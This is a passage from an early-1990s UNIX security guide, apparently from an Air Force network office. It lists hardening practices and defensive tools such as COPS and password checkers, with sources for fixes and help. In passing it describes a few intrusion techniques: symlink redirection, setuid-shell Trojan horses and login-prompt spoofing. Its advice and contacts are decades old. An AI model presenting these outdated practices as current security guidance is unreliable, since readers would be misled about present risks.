to keep the log in a file for easy on-line examination and also to print
|
||
the information on the console in case an intruder removes or edits the
|
||
log file.
|
||
|
||
3. Develop a comprehensive plan for access to and control of all system
|
||
files. That is, identify which files and directories need to be readable
|
||
and writable by which users. Set up ownerships and groups to minimize
|
||
the need for use of super-user status. An added benefit of this is a
|
||
reduced number of accidents by legitimate super-users making mistakes.
|
||
Write a script to check and correct permissions.
|
||
|
||
4. Possibly don't allow login to root at all; make it accessible only
|
||
through `su'-ing from a known account and `do'-ing from known
|
||
"doers". The purpose is so that every entry to the super-user account
|
||
is from some other account and can be logged, so we know in every case
|
||
who became super-user. Question is whether to make root absolutely
|
||
impossible to log into, by giving it an impossible password, and then
|
||
modify `su' to let any certified good guy into root without a
|
||
password (same as having do all privileges), or do we keep the password
|
||
and modify login to refuse direct `login' as root.
|
||
|
||
5. Periodically check the `password' and `group' files for
|
||
improper entries or defective lines. Save the `password' file
|
||
every night and compare with previous day's file, then examine
|
||
`diff' listings for bogus accounts.
|
||
|
||
6. Encourage users to encrypt all sensitive text, both because of
|
||
occasional intrusions and because they shouldn't trust the super-user.
|
||
(Note, however, that the encryption program supplied with the system is
|
||
not very secure. In fact there are now tools widely distributed that
|
||
will break this encryption with a few minutes of work).
|
||
|
||
7. Staff should, at odd hours, scan the system for signs of strange
|
||
activity, or for files that don't look quite right. It is helpful to
|
||
have seperate login names for this purpose, so it isn't so obvious when
|
||
it is being done.
|
||
|
||
8. Periodically compare binary files of setuid-root programs with known
|
||
good copies stored off line. Same for other sensitive programs (those
|
||
run by `cron' or `init'). Or compute checksums on binaries,
|
||
save them somewhere, and periodically recalculate and compare with
|
||
stored values.
|
||
|
||
9. It may be useful to set up uids for particular purposes and use programs
|
||
that are setuid something other than root. This technique reduces the
|
||
number of programs that have to be setuid root, but unless carefully
|
||
applied it can decrease security by making too many uids sensitive. It
|
||
seems wise to have an owner other than root for all files that have to
|
||
be writable by everybody, as a file owned by root and writable by
|
||
someone else is always a potential burglar tool. Use setgid rather than
|
||
setuid if possible, since it is more restrictive.
|
||
|
||
10. It is important to keep source of the operating system and commands
|
||
unreadable by ordinary users. Having source available makes it easier
|
||
for the intruder to prepare trap doors or discover already existing
|
||
holes. It is nice if source can be kept on a physically dismountable
|
||
file system to be mounted only when it is being used. Second best is a
|
||
file system that can be write locked with a switch when the staff is not
|
||
using it. NFS provides such a capability.
|
||
|
||
11. Staff with super-user privileges must be trained never to run a
|
||
user-preferred program while running as super-user.
|
||
|
||
12. Keeping dot out of the super user command search path helps prevent
|
||
inadvertent running of user programs while super-user. This must extend
|
||
to users who have `su'-ed to root from their own accounts.
|
||
|
||
13. Periodically scan the directories for names containing unprintable
|
||
characters and other oddities. These are often a sign of mischief.
|
||
Likewise, files in a user directory not owned by that user.
|
||
|
||
14. Develop a procedure (shell script or program) which automatically runs
|
||
the whole gamut of security auditing and correcting operations. This
|
||
should be run at odd hours, and preferably should suppress listing what
|
||
it is doing in a `ps' listing.
|
||
|
||
15. Have a policy on what to do with intruders when caught. My feeling is
|
||
that penalties should be based on damages rather than on accomplishment;
|
||
e.g. the person who breaks into the system and does no damage and tells
|
||
us how he did it gets a reward, while the person who steals or destroys
|
||
another's work or makes the system inoperative gets punished. Milder
|
||
punishment for one who doesn't do any damage but doesn't report finding
|
||
a hole in the system. Others disagree strongly with this proposal, and
|
||
insist that for reason of professional integrity all illegitimate uses
|
||
of the system should be punished, regardless of actual damages or lack
|
||
thereof. New laws make any kind of penetration a criminal act; but,
|
||
there is a lot to be learned about how to get evidence in these cases.
|
||
|
||
16. Change the default user mask to 077. Then a user has to act, and thus
|
||
hopefully think, before moving into a more dangerous domain. Naive
|
||
users then have to learn how to reduce security rather than how to
|
||
increase it.
|
||
|
||
17. Change the default mode for users' terminals to 0600 at login time.
|
||
Keep it at 0600 always when the terminal is not logged in. This is to
|
||
guard against spoofers who open a terminal from a program that simulates
|
||
the login program and catches passwords. It also guards against someone
|
||
other than the owner changing modes and similar unkind things.
|
||
|
||
18. Modify the kernel to prevent creation of core files when the user is
|
||
running setuid or setgid. When core files are created they should be
|
||
mode 600.
|
||
|
||
19. Modify the kernel so that users can't link to files they can't read.
|
||
Such linking is not inherently unsecure, since the user can't do
|
||
anything with a file he has linked to, but it is clearly unnecessary and
|
||
makes it easier for the user to get away with something by other
|
||
techniques. Unfortunately this does not work for symbolic links. A
|
||
user can create any desired directory structure within his own home
|
||
directory, make a symbolic link of the form `../../../foo/bar'
|
||
within that structure, and then `mv' the symbolic link so that it
|
||
points to some other file elsewhere in the system.
|
||
|
||
20. Modify `atrun' so it won't run a file submitted by root. This is
|
||
to forestall all the devious ways of getting a user file owned by root
|
||
into the `at' spool directory. This is no real inconvenience in
|
||
running the system, since `cron' can always be used for privileged
|
||
operations at later hours.
|
||
|
||
21. Modify the kernel to provide a group having no privileges. Make this
|
||
the login group for root and staff members, so that by default we don't
|
||
create programs with group privileges. This will be the default group
|
||
for all sensitive programs and files.
|
||
|
||
22. Consider making operator functions directly executed at login, rather
|
||
than having an account for the operators. The reason for this is that
|
||
the operator password rarely changes and has to be widely known.
|
||
|
||
23. Designate a person to receive reports of penetration attempts and keep
|
||
them filed.
|
||
|
||
24. Develop a program to check object files for system calls that are
|
||
reserved for the super user. This is a quick way to check whether an
|
||
object file contains a trap door, without having to compare it with a
|
||
known good object. This will produce a certain amount of unwanted
|
||
output but we should soon learn what to ignore.
|
||
|
||
25. Modify the kernel so that setuid-root programs are executable only if
|
||
they reside on rootdev. This cuts down greatly the amount of territory
|
||
that needs to be scanned for burglar tools. (Scanning should still be
|
||
done occasionally over the whole system to discover users who possess
|
||
burglar tools, even though they are ineffective.) If a separate disk
|
||
spindle or partition is available for `/tmp' then nothing on the
|
||
root device is writable by an ordinary user, making it all the harder
|
||
for one to get a privileged program of his own. Sun has gone further in
|
||
making `nosetuid' an option for all mountable file systems.
|
||
|
||
26. Modify the kernel so that special files can be opened only if the inode
|
||
resides on rootdev. This make ineffective any special file inodes in
|
||
user accounts where they shouldn't be.
|
||
|
||
27. Log on console whenever a file is owned by root and gets its setuid bit
|
||
turned on. (On 4.xBSD VMUNIX also sends the message to the user with
|
||
uprintf(). This is done so the super user will be warned if he does
|
||
some command which has a side effect of doing setuid-root for somebody.)
|
||
|
||
28. In writing programs that must run privileged, it is a good practice to do
|
||
all the privileged actions first and then drop privileges as soon as
|
||
possible. This makes it easier to examine the program to see that it
|
||
does in fact handle it privileges with discretion.
|
||
|
||
29. Modify `mail' so that it does not `chown' a file that has more
|
||
than one link. Also make the `/usr/spool/mail' directory
|
||
unwritable by ordinary users, and have the `mail' program truncate
|
||
`/usr/spool/mail/name' files to zero length when it is unable to
|
||
remove them for this reason.
|
||
|
||
30. Modify `write', `mail', etc. programs so they cannot transmit
|
||
non-printing characters to the recipient. This is to foil those that
|
||
change terminal modes mischievously or send commands to block mode
|
||
terminals.
|
||
|
||
31. Disallow non-super users from setting the setuid bit on files. For the
|
||
few legitimate needs for this setting the user can apply to the system
|
||
manager to have the bit set. This foils the Trojan horse in a program
|
||
proffered by one user to another which has the side effect of creating a
|
||
setuid shell owned by the victim. At the University of California at
|
||
Santa Cruz, this was made a compile-time option of the kernel, so that
|
||
it can be turned on or off for the various kinds of users/machines
|
||
there.
|
||
|
||
32. Programs in general should be executable only, not readable and
|
||
executable. Prevent users from getting private copies of programs, from
|
||
reading programs for possibly-confidential filenames, etc. Stripping
|
||
symbol tables from commands is also a good idea, both to save disk space
|
||
and to make it harder for the user to pick at them.
|
||
|
||
33. The system administrator should periodically run the best available
|
||
password guessing program and warn users whose passwords are guessed.
|
||
|
||
34. Modify `write' to accept input only from a tty. This will keep
|
||
users from redirecting humongous files, such as `/usr/dict/words'
|
||
to a users terminal.
|
||
|
||
35. 4.3BSD offers some alternative ideas on terminal protection. All
|
||
terminals have group ownership of the tty group, which is used for no
|
||
other purpose. Then to allow writing to his terminal, the user makes it
|
||
writable to the group. The `write' programs run setgid tty and can
|
||
open the terminal for writing if group write permission is set. This
|
||
seems safe, since only ttys are in the special group; the user can't
|
||
create a file owned by himself and group-owned by the tty group.
|
||
|
||
Similarly, there are other special groups for very restricted purposes.
|
||
Disk special files are group owned and readable by an operator group,
|
||
which allows operators to do file backups. Only the dump program uses
|
||
this group; and it is executable only by members of the group.
|
||
|
||
36. Modify the `login' program to make it harder for spoofers by
|
||
reading a file `.secret' from the user's home directory to get a
|
||
string to use in prompting for password. The `login' program,
|
||
being privileged, is able to read this file; the spoofer is not, and is
|
||
not likely to keep a list of login names and secret prompts to search
|
||
when someone runs his program. Associated with this is another change
|
||
to `login' program such that on the third unsuccessful login
|
||
attempt the program sleeps for twenty seconds and exits. This is to
|
||
make it more time-consuming for a potential spoofer writer to try
|
||
logging in to every account to compile a list of secret prompts. While
|
||
this doesn't provide real authentication it does help. Users would
|
||
probably like the idea because their private password prompts can be
|
||
cute. This has been implemented at UCSC.
|
||
|
||
Someone has suggested that this might be foiled by a spoofer that gets
|
||
the login name, opens a pseudo tty, tries to login on that pseudo with
|
||
the login name, gets the personal password prompt that way, gives it
|
||
to the user and collects the password.
|
||
|
||
A note from Jim Haynes from UCSC:
|
||
Perhaps as a result of the `.secret' files, we have seen a
|
||
lot less spoofing lately and a lot more of password guessing
|
||
using modern high-performance guessers. These tend to avoid
|
||
detection by being run on the intruder's personal computer
|
||
or some other computer on a network. Otherwise we examine
|
||
long-running programs to see if they are password guessers.
|
||
(Use gcore and strings on the core image) One way to foil
|
||
these is the use of "shadow" password files, in which the
|
||
encrypted passwords are not visible to the non-privileged
|
||
users. Shadow password files are no help if the attacker is
|
||
after a particular account and its password is well-chosen;
|
||
but if he will settle for any account on the machine, then
|
||
he is likely to find a few if he can get the encrypted
|
||
passwords.
|
||
|
||
|
||
Software Tools
|
||
==============
|
||
Because security is of great concern to many sites, a wealth of software
|
||
has been developed for improving the security of UNIX systems. Much of
|
||
this software has been developed at universities and other public
|
||
institutions, and is available free for the asking.
|
||
|
||
|
||
COPS
|
||
----
|
||
COPS is a collection of about a dozen programs that each attempt to tackle
|
||
a different problem area of UNIX security. Among the areas checked are
|
||
file, directory, and device permissions/modes, passwords, contents of
|
||
password and group files, the contents of `/etc/rc' and `cron' files,
|
||
changes in SUID status, the writability of users home directories and
|
||
startup files as well. It also includes the Kuang expert system, written
|
||
by Bob Baldwin, that takes a set of rules and tries to determine if your
|
||
system can be compromised. For a more complete list of all of the checks,
|
||
look at the file `release.notes' or `cops.report' in the COPS distribution.
|
||
|
||
All of the programs merely warn the user of a potential problem -- COPS
|
||
DOES NOT ATTEMPT TO CORRECT OR EXPLOIT ANY OF THE POTENTIAL PROBLEMS IT
|
||
FINDS! COPS either mails or creates a file (user selectable) of any of the
|
||
problems it finds while running on your system. And because COPS does not
|
||
correct potential hazards it finds, it does not have to be run by a
|
||
privileged account (i.e. root or whomever.) The only security check that
|
||
should be run by root to get maximum results is the SUID checker; although
|
||
it can be run as an unprivileged user, to find all the SUID files in a
|
||
system, it should be run as root.
|
||
|
||
UPDATE: The latest release of COPS is Version 1.02 and is currently being
|
||
rewritten in PERL to increase the overall speed of the package.
|
||
COPS is PERL is slated for release in April 1991.
|
||
|
||
|
||
DES Zip
|
||
-------
|
||
The `Fast Encryption Package' written by Matt Bishop is a package designed
|
||
to help a site improve password security. These tools and their associated
|
||
library enable a site to force users to pick reasonably safe passwords and
|
||
enable site management to try to crack existing passwords. The library
|
||
contains various versions of a very fast implementation of the Data
|
||
Encryption Standard and of the one-way encryption function used to encrypt
|
||
UNIX passwords.
|
||
|
||
|
||
Passwd
|
||
......
|
||
|
||
This version of `passwd' tests passwords to ensure that they conform to
|
||
your site's requirements for a secure password. These requirements are
|
||
defined within a configuration file that can be easily modified as your
|
||
site's requirements change. It will also allow knowledgable users to
|
||
change their default shell to one that the system accepts as legitimate, as
|
||
defined by `/etc/shells'. GECOS information can also be updated to help
|
||
insure correctness.
|
||
|
||
|
||
Password Cracker
|
||
................
|
||
|
||
A password cracker is also provided to allow administrators check the
|
||
password file to insure poorly chosen passwords were not used. If the
|
||
`password' program distributed with the DES zip package is used and a
|
||
decent configuration file is written, this will reduce the number of
|
||
passwords found on your system. Some of the options available on the
|
||
password cracker are:
|
||
|
||
* Use of word lists such as `/usr/dict/words'
|
||
* Checkpointing
|
||
* Check login names forwards and backwards
|
||
* Check GECOS field information
|
||
* Automatically report and mail nasty-grams to offenders
|
||
|
||
|
||
Npasswd
|
||
-------
|
||
The `npasswd' command, developed by Clyde Hoover at the University of Texas
|
||
at Austin, is intended to be a replacement for the standard UNIX `passwd'
|
||
command, as well as the Sun `yppasswd' command. `Npasswd' makes passwords
|
||
more secure by refusing to allow users to select insecure passwords.
|
||
|
||
|
||
Project Athena
|
||
--------------
|
||
Here is a note by Dr. Daniel E. Geer, Jr. about Project Athena at M.I.T. I
|
||
have slightly changed the format to make it more useful for this paper.
|
||
There are certainly more features than the ones detailed below, but the
|
||
gathering of this information is left to the interested reader.
|
||
|
||
This is an overview of the Athena model of (distributed) computation and a
|
||
brief, annotated list of the Athena modules, per se. As with any complete
|
||
system in actual use, a prose summary will fail to mention a goodly number
|
||
of minor applications. Following this discussion, please refer to the
|
||
Project Athena Technical Plan for the most complete treatment now
|
||
available. We also enclose a customer service level description of the
|
||
Athena environment, written for the benefit of MIT faculty. The model of
|
||
computation of the Athena environment is that of network services. We view
|
||
the workstation as a user agent, a dataless node able to access a range of
|
||
services from the network using protocols specific to the task at hand
|
||
and/or remote procedure calls. Workstations are a commodity in our
|
||
environment, and inherit their run-time characteristics from the service
|
||
environment in which they reside as amended by user preference.
|
||
Configuration is centrally managed, but locally modifiable. For our core
|
||
hardware base, coherence of the application programming interface is
|
||
provided. Outside that core, coherence of the network service layer is
|
||
provided. The ability to scale up to large installations (order ten
|
||
thousand hosts) is purposeful, maintained by design strategies ensuring
|
||
that normal operation contains no cost components linear with either the
|
||
number of hosts or the number of user or service entities in that
|
||
environment. The system is in full production and in daily use on
|
||
approximately one thousand workstations and servers. The system currently
|
||
runs on BSD Unix and Ultrix on hardware platforms consisting of the IBM
|
||
PC/RT and Digital VAXstations and DECstations. It is written entirely in C
|
||
and can easily be ported to other hardware environments.
|
||
|
||
|
||
The X Window System, applications, & libraries
|
||
..............................................
|
||
|
||
X is a network transparent, device independent, vendor neutral window
|
||
system. Defined by its protocol, it supports full featured use of all
|
||
points addressable displays, including, but not limited to, drawing text
|
||
and graphics, full motion video, color and monochrome, and has abstraction
|
||
layers suitable for construction of highly portable applications.
|
||
|
||
|
||
Hesiod nameservice, applications, & libraries
|
||
.............................................
|
||
|
||
The Hesiod nameservice is an application programming interface layer over a
|
||
standard substrate, viz. the Berkeley InterNet Domain (BIND) nameservice.
|
||
It provides a standardized way to expand partial resolution requests, and
|
||
represents a simple abstraction layer for applications to provide location
|
||
independence in a network services environment. It provides similar
|
||
functionality to the Sun's Yellow Pages, but with differnet tradeoffs.
|
||
Hesiod is more secure, scales up to larger communities, and does not make
|
||
excessive use of broadcast packets, but is somewhat more difficult to setup
|
||
and maintain.
|
||
|
||
|
||
Kerberos authentication service, applications, & libraries
|
||
..........................................................
|
||
|
||
Kerberos is a network communications security support system, providing
|
||
authentication for an open network environment. Modelled on the Needham &
|
||
Schroeder trusted third party protocol, it provides provable authentication
|
||
of claimed identities in the presence of untrusted hosts and untrusted
|
||
nets. It provides the application writer with a simple library for network
|
||
authentication while it offers a sophisticated administration model to the
|
||
wide area systems manager.
|
||
|
||
Kerbersos version 4 is currently in daily use at MIT and other institutions
|
||
worldwide. It uses the Data Encryption Standard for the encryption.
|
||
Version 5 is being implemented, and will provide more features such as the
|
||
ability to substitute other encryption systems and cleans up some problems
|
||
with the version 4 code. Kerberos Version 5 may be proposed as an Internet
|
||
Elective Standard through the RFC process.
|
||
|
||
|
||
Zephyr notification service, applications, & libraries
|
||
......................................................
|
||
|
||
Zephyr is a wide area, multicast, subscription based messaging system. It
|
||
supports arbitrary typecasting on messages, thereby permitting Zephyr to be
|
||
used as a common carrier to messages of whatever type yet without central
|
||
registration of those types. The practical applications of this system
|
||
include operational control as well as rendevous applications such as OLC
|
||
(vide infra).
|
||
|
||
|
||
Moira service management system, applications, & libraries
|
||
..........................................................
|
||
|
||
The Moira system permits aggregation of all the control information
|
||
required to operate the campus into a single, tightly controlled and
|
||
pangyric database. It contains a database interface server, a number of
|
||
client programs, a data control manager, and various update listeners that
|
||
run on a wide variety of servers as required. The particular database
|
||
technology is concealed behind an abstraction layer. The availability of
|
||
the Kerberos authentication system, the Hesiod nameservice, and the Ingres
|
||
database system are prerequisites for the operation of Moira.
|
||
|
||
|
||
OLC system, applications, & libraries
|
||
.....................................
|
||
|
||
The On-Line Consulting (OLC) system is a rendevous mechanism, connecting an
|
||
individual with a question to another individual with the answer. Intended
|
||
for the naive user, OLC permits a bootstrap operation for nearly any type
|
||
of use difficulty in the Athena environment. The server side of OLC also
|
||
provides a stock answer browser and management and q.a. related logging of
|
||
transactions. The availability of the Kerberos authentication system, the
|
||
Hesiod nameservice, and the Zephyr notification system are prerequisites
|
||
for the operation of OLC.
|
||
|
||
|
||
RVD diskblock service and associated kernel modifications
|
||
.........................................................
|
||
|
||
Remote fileservice is a requirement for even small batches of workstation
|
||
hosts. The filesystem, if readonly, can be managed using the cpu
|
||
horsepower of either end of the connection as indicated by a load
|
||
management policy. In the case of Athena, it is important to have the
|
||
client to server ratio be at a maximum, and so it is indicated to make the
|
||
client end of the fileservice connection do the filesystem traversal
|
||
operation. In short, a block server is the indicated strategy, and the
|
||
Remote Virtual Disk (RVD) system is an exemplar answer to this design
|
||
point. RVD is an MIT LCS product heavily modified by Athena. It is highly
|
||
unlikely to become a commercial product.
|
||
|
||
|
||
GMS global message system
|
||
.........................
|
||
|
||
The traditional Unix login-time announcement mechanism of displaying the
|
||
contents of the file /etc/motd is not maintainable in a wide area
|
||
workstation environment. In addition, the contents of that file may change
|
||
on a schedule dynamically different from that of the rest of the software
|
||
suite, necessitating maintenance and writeability constraints on the whole
|
||
software suite unsuitable on behalf of that one file. Instead, the Athena
|
||
environment includes a global message service (GMS) that permits the
|
||
retrieval of the message of the day from a server, comparison of the
|
||
message retrieved with messages already viewed by the user, and display of
|
||
the relevant or the explicitly requested message. In this way, the GMS
|
||
facility is a mix of the functionality provided by the /etc/motd and mesg
|
||
mechanisms. substantially revised version of the T shell (tcsh) The basic
|
||
shell known as the C shell (csh) is the user interface of default or
|
||
choice, depending on opinion, in the BSD environment. Athena has made
|
||
moderately extensive changes to the command line operation of the C shell
|
||
mimicing a Tenex shell known as the T shell. These changes are made to a
|
||
product owned only by UCB, not AT&T, and can be distributed in difference
|
||
form if required. All the Athena user community uses this modified shell,
|
||
as do many persons outside that community.
|
||
|
||
|
||
Discuss conferencing system, applications, & libraries
|
||
......................................................
|
||
|
||
Discuss is a multi-user, location transparent, server arbitrary
|
||
conferencing system modelled on the old Multics forum system. A
|
||
button-and-mouse interface also exists, but is inherently inferior as it
|
||
cannot catch the full flexibility of the command line interface.
|
||
Configured by individual systems managers, a user need not know the
|
||
location of the service. The supported user interface is the lowest common
|
||
denominator, purely a command line interface, but a button and mouse
|
||
interface is in preparation.
|
||
|
||
|
||
Palladium print services system, applications, and libraries
|
||
............................................................
|
||
|
||
The Palladium print services system is an implementation of the standard
|
||
for print systems as proposed to ISO by ECMA. It is a complete and modern
|
||
print system, in the distributed services paradigm. It supports arbitrary
|
||
connection trees between logical and physical print queues, printing local
|
||
to the workstation, filtration of print streams including redirection of
|
||
print jobs on the basis of filter output, accounting, remote management of
|
||
both print services and individual print jobs, and an RPC interface that is
|
||
vendor neutral, device independent, and consistent across both print
|
||
servers and supervisors.
|
||
|
||
|
||
On-Line Help (OLH)
|
||
..................
|
||
|
||
The OLH system is a complete access to help services for the distributed
|
||
computing environment. It includes both character and display oriented
|
||
user interfaces, and references both static (text) and interactive help
|
||
services (such as OLC, vide supra). Its user interface is, of course,
|
||
transparently easy to use. Providers of services can attach their help
|
||
system to the global OLH dynamically, such as at the time of the initial
|
||
service connection, without any requirement of central administrative
|
||
overhead.
|
||
|
||
|
||
Where to go for Fixes
|
||
=====================
|
||
Several sites on the internet maintain large repositories of publically
|
||
available and freely distributable software, and make this material
|
||
available for anonymous ftp. It is best to attempt to obtain the software
|
||
locally if at all possible. For general information locally, you can
|
||
contact via E-mail security@hq.af.mil.
|
||
|
||
|
||
Sun Microsystems
|
||
----------------
|
||
Sun Microsystems has contracted with UUNET Communications Services, Inc.
|
||
to make fixes available via anonymous ftp. You can access these fixes by
|
||
using the `ftp' command to connect to the host ftp.uu.net. The fixes are
|
||
located in the directory `sun-fixes'.
|
||
|
||
|
||
Berkeley Software Distribution
|
||
------------------------------
|
||
The University of California at Berkeley also makes fixes available via
|
||
anonymous `ftp'; these fixes pertain primarily to the current release of
|
||
"BSD UNIX" (currently release 4.3). However, even if you are not running
|
||
their software, these fixes are still important, since many vendors (Sun,
|
||
DEC, Sequent, etc.) base their software on the Berkeley releases. The
|
||
Berkeley fixes are available for anonymous `ftp' from the host
|
||
ucbarpa.berkeley.edu in the directory `4.3/ucb-fixes'. The file `INDEX' in
|
||
this directory describes what each file contains. Berkeley also
|
||
distributes new versions of `sendmail' and `named' from this machine.
|
||
|
||
Simtel-20 and UUNET
|
||
-------------------
|
||
The two largest general-purpose software repositories on the Internet are
|
||
the hosts wsmr-simtel20.army.mil and ftp.uu.net. wsmr-simtel20.army.mil is
|
||
a TOPS -20 machine operated by the U. S. Army at White Sands Missile
|
||
Range, New Mexico. The directory `pd2:<unix-c>' contains a large amount of
|
||
UNIX software, primarily taken from the `comp.sources' newsgroups.
|
||
|
||
Ftp.uu.net is operated by UUNET Communications Services, Inc. in Falls
|
||
Church, Virginia. This company sells Internet and USENET access to sites
|
||
all over the country (and internationally). The software posted to the
|
||
following USENET source newsgroups is stored here, in directories of the
|
||
same name:
|
||
|
||
comp.sources.games
|
||
comp.sources.misc
|
||
comp.sources.sun
|
||
comp.sources.unix
|
||
comp.sources.x
|
||
|
||
Numerous other distributions, such as all the freely distributable Berkeley
|
||
UNIX source code, Internet Request for Comments (RFCs), and so on are also
|
||
stored on this machine.
|
||
|
||
Vendors
|
||
-------
|
||
Many vendors make fixes for bugs in their software available
|
||
electronically, either via mailing lists or via anonymous `ftp'. You
|
||
should contact your vendor to find out if they offer this service, and if
|
||
so, how to access it.
|
||
|
||
Who to ask for Help
|
||
===================
|
||
One of the most difficult things about keeping a system secure is finding
|
||
out about the security holes before an intruder. To combat this, there are
|
||
several sources of information you can and should make use of on a regular
|
||
basis.
|
||
|
||
security@hq.af.mil
|
||
------------------
|
||
This mailing alias on the host hq.af.mil receives and distributes security
|
||
related information to the local security weenies. If there are any
|
||
security related questions about HQ USAF-LAN hosts, this is a good place to
|
||
start.
|
||
|
||
|
||
The Computer Emergency Response Team
|
||
------------------------------------
|
||
The Computer Emergency Response Team (CERT) was established in December
|
||
1988 by the Defense Advanced Research Projects Agency to address computer
|
||
security concerns of research users of the Internet. It is operated by the
|
||
Software Engineering Institute at Carnegie-Mellon University. The CERT
|
||
serves as a focal point for the reporting of security violations, and the
|
||
dissemination of security advisories to the Internet community. In
|
||
addition, the team works with vendors of various systems in order to
|
||
coordinate the fixes for security problems.
|
||
|
||
The CERT sends out security advisories to the cert-advisory mailing list
|
||
whenever appropriate. They also operate a 24-hour hotline that can be
|
||
called to report security problems (e.g., someone breaking into your
|
||
system), as well as to obtain current (and accurate) information about
|
||
rumored security problems.
|
||
|
||
To join the cert-advisory mailing list, send a message to
|
||
security@hq.af.mil requesting to be added. HQ receives the mailings
|
||
directly from CERT and distributes it locally to cut down on internet
|
||
traffic. Past advisories are available for anonymous `ftp' from the host
|
||
cert.sei.cmu.edu. The 24-hour hotline number is (412) 268-7090.
|
||
|
||
|
||
DDN Management Bulletins
|
||
------------------------
|
||
The "DDN Management Bulletin" is distributed electronically by the Defense
|
||
Data Network (DDN) Network Information Center under contract to the Defense
|
||
Communications Agency. It is a means of communicating official policy,
|
||
procedures, and other information of concern to management personnel at DDN
|
||
facilities.
|
||
|
||
The "DDN Security Bulletin" is distributed electronically by the "DDN SCC"
|
||
(Security Coordination Center), also under contract to DCA, as a means of
|
||
communicating information on network and host security exposures, fixes,
|
||
and concerns to security and management personnel at DDN facilities.
|
||
|
||
Anyone may join the mailing lists for these two bulletins by sending a
|
||
message to nic@nic.ddn.mil and asking to be placed on the mailing lists.
|
||
|
||
|
||
Mailing Lists
|
||
-------------
|
||
There are several other mailing lists operating on the Internet that
|
||
pertain directly or indirectly to various security issues.
|
||
|
||
|
||
Security
|
||
........
|
||
|
||
The unix security mailing list is a by invitation only mailing list and
|
||
contains sensitive material which SHOULD NOT BE REVEALED to non-members.
|
||
It exists to notify system administrators of security problems before they
|
||
become common knowledge. For more information about this list contact
|
||
security@hq.af.mil.
|
||
|
||
|
||
RISKS
|
||
.....
|
||
|
||
The RISKS digest is a component of the ACM Committee on Computers and
|
||
Public Policy, moderated by Peter G. Neumann. It is a discussion forum on
|
||
risks to the public in computers and related systems, and along with
|
||
discussing computer security and privacy issues, has discussed such
|
||
subjects as the Stark incident, the shooting down of the Iranian airliner
|
||
in the Persian Gulf (as it relates to the computerized weapons systems),
|
||
problems in air and railroad traffic control systems, software engineering,
|
||
and so on. To join the mailing list, send a message to
|
||
risks-request@csl.sri.com. This list is also available in the USENET
|
||
newsgroup comp.risks.
|
||
|
||
|
||
VIRUS-L
|
||
.......
|
||
|
||
The VIRUS-L list is a forum for the discussion of computer virus
|
||
experiences, protection software, and related topics. The list is open to
|
||
the public, and is implemented as a mail reflector, not a digest. Most of
|
||
the information is related to personal computers, although some of it may
|
||
be applicable to larger systems. To subscribe, send the line
|
||
|
||
SUB VIRUS-L your full name
|
||
|
||
to the address listserv%lehiibm1.bitnet@mitvma.mit.edu.
|
||
|
||
|
||
Sun-{Spots, Nets, Managers}
|
||
...........................
|
||
|
||
The SUN-SPOTS, SUN-NETS, and SUN-MANAGERS lists are all discussion groups
|
||
for users and administrators of systems supplied by Sun Microsystems.
|
||
SUN-SPOTS is a fairly general list, discussing everything from hardware
|
||
configurations to simple UNIX questions. To subscribe, send a message to
|
||
sun-spots-request@rice.edu. This list is also available in the USENET
|
||
newsgroup comp.sys.sun. For those that use Sun-386i machines, there is a
|
||
mailing list dedicated to that platform. It is a "spin-off" of SUN-SPOTS.
|
||
Send mail to mail-list-mgr@hq.af.mil for more information.
|
||
|
||
SUN-NETS is a discussion list for items pertaining to networking on Sun
|
||
systems. Much of the discussion is related to NFS, Yellow Pages, and name
|
||
servers. To subscribe, send a message to sun-nets-request@umiacs.umd.edu.
|
||
We (at hq.af.mil) receive this list locally and would be more than happy to
|
||
redistribute it. Just send mail to mail-list-mgr@hq.af.mil. It is also
|
||
gatewayed to a local USENET news group usaf.sysadmin.sun-nets for your
|
||
reading convenience.
|
||
|
||
SUN-MANAGERS is a discussion list for Sun system administrators and covers
|
||
all aspects of Sun system administration. To subscribe, send a message to
|
||
sun-managers-request@eecs.nwu.edu. Again, hq.af.mil receives this list
|
||
locally and is willing to redistribute it. It, too, is gatewayed into a
|
||
local newsgroup usaf.sysadmin.sun-managers.
|
||
|
||
|
||
USENET
|
||
------
|
||
Many UNIX users are not aware that they have virtually free access to
|
||
USENET, a sort of super bulletin board on which an estimated 150,000 UNIX
|
||
users at 5,000 sites exchange news and views on over 250 different topics.
|
||
USENET is by far one of the greatest network resources available. It is a
|
||
significant resource for the professional, social, and recreational needs
|
||
of UNIX (computer) users. It is easy to use and rewards its users often.
|
||
|
||
Hq.af.mil currently receives a "full feed" of USENET newsgroups and
|
||
supports nntp. Our feed includes:
|
||
|
||
comp.computer systems and technology
|
||
news.discussions of USENET itself
|
||
rec.recreation activities (the arts, entertainment, ...)
|
||
sci.science and technology
|
||
soc.society and culture, social issues, ...
|
||
misc.topics that don't fit under one of the top 5 broad areas
|
||
such as items for sale, jobs, legal issues, ...
|
||
talk.Free-wheeling, often heated discussions on philosophy,
|
||
politics, religion, and so on
|
||
gnu.Information about the Free Software Foundation and it's
|
||
work.
|
||
|
||
There are literally thousands of newsgroups that allow you to draw
|
||
information from them. It is certainly worth the time to check out. Of
|
||
course there are newsgroups that are certainly going to interesting to
|
||
everyone, I certainly don't read comp.lang.intercal, but for those
|
||
interested, it is available. There is a newsgroup for everyone.
|
||
|
||
We have also implemented several local newsgroups:
|
||
|
||
usaf.7cgItems of interest for 7CG personnel
|
||
usaf.osdItems of interest for OSD personnel
|
||
usaf.general.miscMisc. items of interest
|
||
usaf.general.newuserPlace for new users to ask questions
|
||
usaf.sysadmin.bindBerkeley BIND mailing list
|
||
usaf.sysadmin.pem-devPEM-DEV (Private E-Mail) mailing list
|
||
usaf.sysadmin.snmpSNMP mailing list
|
||
usaf.sysadmin.sun-managersSun Managers
|
||
usaf.sysadmin.sun-netsSun Nets
|
||
...
|
||
|
||
Local newsgroups can be added for the interests of anyone. One that might
|
||
be useful is usaf.sysadmin.office-power. A newsgroup for emergency
|
||
postings could be called usaf.emergency. The potential uses are endless.
|
||
For information regarding access to hq's USENET feed send mail to
|
||
news@hq.af.mil.
|
||
|
||
|
||
Where to go for Tools
|
||
=====================
|
||
The internet is a big place. It is certainly easy to get lost amongst all
|
||
of the sub-networks and hosts out there and to find that certain little
|
||
piece of software that you heard about from a friend that saw it in a
|
||
posting on USENET which was actually a note from a guy at Podunk.edu which
|
||
only rumored of it's existence. Well, there really is hope. There are
|
||
some major sites worth checking first based on what you are looking for:
|
||
|
||
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||
